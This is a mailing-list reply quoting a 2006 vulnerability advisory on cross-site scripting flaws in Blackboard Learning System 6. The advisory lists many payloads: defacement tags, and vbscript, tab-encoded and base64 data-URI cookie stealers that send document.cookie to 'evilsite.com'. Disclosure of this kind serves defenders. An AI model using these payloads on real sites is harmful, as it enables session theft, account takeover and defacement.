What type of an account do you have to have and in what sections can
this be exploited?
Also, has Blackboard verified this in their current release (7.1)?
-cdh
Pr070n@gmail.com wrote:
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Found by: PrOtOn & digi7al64
Date: May 20th 2006
Critical Level: High
Type: Multiple Cross Site Scripting (XSS) vunerabilities
------------------------------------------------------------------------------------------
Software:
Blackboard Learning System (Release 6) Blackboard Learning and Community
Portal Suite (Release6)-6.2.3.23
------------------------------------------------------------------------------------------
Explanation: You can inject HTML, VB code and or Javascript into specific
tags to steal
cookies, deface the site using frame busters or even redirect to external
sites for phishing purposes.
If you have limited access, then a simple post into the Discussion Board
using the right
tags with the right code (provided below) will execute the vulnerability(ies).
-------------------------------------------------------------------------------------------
About:
Blackboards parsing system only checks for the string "javascript", Thus
vbscript code can be injected at will into tags as well as any versions of
javascript that uses uncommon syntax (ie tabs encoding etc)
-------------------------------------------------------------------------------------------
Vulnerabilities:
Defacement (FrameBuster)
-------------------------
<meta http-equiv="refresh"
content="15;url= http://evilsite.com";>
Defacement (FrameBuster)
-------------------------
<iframe src=" http://evilsite.com"; width=100
height=100></iframe>
Defacement (IE ONLY)
-------------------------
<img src=vbscript:document.write("defaced_by_insane_script_kiddies")>
Defacement (IE ONLY)
-------------------------
<link rel="stylesheet"
href=vbscript:document.write("defaced_by_insane_script_kiddies")>
<img src=vb script:document.write("defaced_by_insane_script_kiddies")>
Cookie Stealer (IE ONLY)
-------------------------
<img
src="vbscript:wintest=window.open(%22http://evilsite.com +
document.cookie)"style=visibility:hidden/>
<img src="vbscript:window.focus ()"style=visibility:hidden/>
<img src="vbscript: window.close()"style=visibility:hidden/>
Cookie Stealer (IE ONLY)
-------------------------
<link rel="stylesheet"
href="vbscript:wintest=window.open(%22http://evilsite.com+document.cookie)">
Cookie Stealer (Encoded Tab - IE ONLY)
-------------------------
<img
src="jav	ascript:
document.images[1].src=%22http://evilsite.com+document.cookie;";<img src="jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hidden/>
Cookie Stealer (html encoded - IE ONLY)
-------------------------
<img
src='javascripdocument.images[1].s
rc=" http://evilsite.com"+document.cookie;'<img
src="jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hidden/>
Cookie Stealer (tabs - IE ONLY)
-------------------------
<img src="jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;"style=visibility:hidden/>
Cookie Stealer (body tag with tabs - IE ONLY)
-------------------------
<body background="jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;";>
Cookie Stealer (div tag with tabs - IE ONLY)
-------------------------
<div style="background-image: url(jav
ascript:document.images[1].src=%22http://evilsite.com+document.cookie;)">
Cookie Stealer (firefox)
-------------------------
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly9ldmlsc2l0ZS5jb20vY29va2llLmpzIj48L3NjcmlwdD4=";>
Cookie Stealer (firefox - click to work)
-------------------------
<a
href="data:text/html;base64,PHNjcmlwdCBzcmM9Imh0dHA6Ly9ldmlsc2l0ZS5jb20vY29va2llLmpzIj48L3NjcmlwdD4=";>hmmm</a>
---------------------------------------------------------------------------------------------
Disclaimer:
Myself or any other person involved with this discovery will not be
responsible for what you
do with this information.
Blackboard developers have been contacted by me and a patch has been released
according to them.
-----------------------------------------------------------------------------------------------
Shout Outs:
r0xes, criticalsecurity(dot)net, Infowar(dot)com
------------------------------------------------------------------------------------------------
Contact:
Pr070n(at)gmail(dot)com
Digi7al64(at)gmail(dot)com
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